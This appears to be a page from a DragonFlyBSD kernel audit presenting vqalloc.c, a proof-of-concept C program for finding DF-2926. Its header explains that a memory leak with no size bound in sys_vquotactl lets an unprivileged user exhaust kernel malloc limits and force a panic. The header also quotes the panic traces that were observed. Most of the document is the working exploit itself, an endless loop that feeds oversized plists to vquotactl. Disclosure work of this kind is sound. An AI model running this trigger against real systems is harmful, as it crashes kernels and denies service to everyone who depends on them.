DragonFlyBSD Kernel Audit
DF-2926 / vqalloc.c
← back to finding ↓ download raw
/*
 * DF-2926 trigger: unprivileged guaranteed kernel panic via
 * sys_vquotactl plist leak -> kmalloc type limit exhaustion.
 *
 * sys_vquotactl() (sys/kern/vfs_quota.c:328-413) never releases the
 * internalized input dictionary, the "command" cstring, or the output
 * array (the DF-0146 leak family), and imposes no bound on the size of
 * the user-supplied plist.  Every call therefore permanently consumes
 * M_PROP_DICT / M_PROP_ARRAY / M_PROP_NUMBER kernel memory.  When the
 * malloc type's ks_limit is reached, _kmalloc_obj() PANICS by design
 * (sys/kern/kern_kmalloc.c:702-707: panic("%s: malloc limit exceeded")),
 * and proplib's internalizer/externalizer allocate with M_WAITOK
 * (no M_NULLOK), so the allocation cannot fail gracefully.
 *
 * Observed organically twice while testing DF-2924:
 *   panic: prop dictionary: malloc limit exceeded
 *     _kmalloc <- _prop_dictionary_expand <- prop_dictionary_set
 *       <- _prop_dictionary_internalize_continue        (copyin path)
 *   panic: prop dictionary: malloc limit exceeded
 *     _kmalloc <- _prop_dictionary_expand <- prop_dictionary_set
 *       <- prop_dictionary_set_uint32 <- sys_vquotactl+0x40d
 *                                                (get usage all OUTPUT path)
 *
 * Usage: vqalloc <path> [entries]
 */
#include <sys/vfs_quota.h>
#include <libprop/proplib.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *path;
	int n = 128, round = 0;
	unsigned i;

	if (argc < 2) {
		fprintf(stderr, "usage: %s <path> [entries]\n", argv[0]);
		return 2;
	}
	path = argv[1];
	if (argc > 2) n = atoi(argv[2]);

	for (;;) {
		prop_dictionary_t dict = prop_dictionary_create();
		prop_array_t arr = prop_array_create();
		struct plistref pref;

		for (i = 0; i < (unsigned)n; i++) {
			prop_dictionary_t d = prop_dictionary_create();
			prop_dictionary_set_uint32(d, "uid", 1000000 + i);
			prop_dictionary_set_uint64(d, "space used", i);
			prop_array_add(arr, d);
			prop_object_release(d);
		}
		prop_dictionary_set_cstring(dict, "command", "set usage all");
		prop_dictionary_set(dict, "arguments", arr);
		prop_object_release(arr);
		if (prop_dictionary_send_syscall(dict, &pref) == 0)
			vquotactl(path, &pref);
		prop_object_release(dict);
		if ((++round % 200) == 0) {
			printf("round %d\n", round);
			fflush(stdout);
		}
	}
	return 0;
}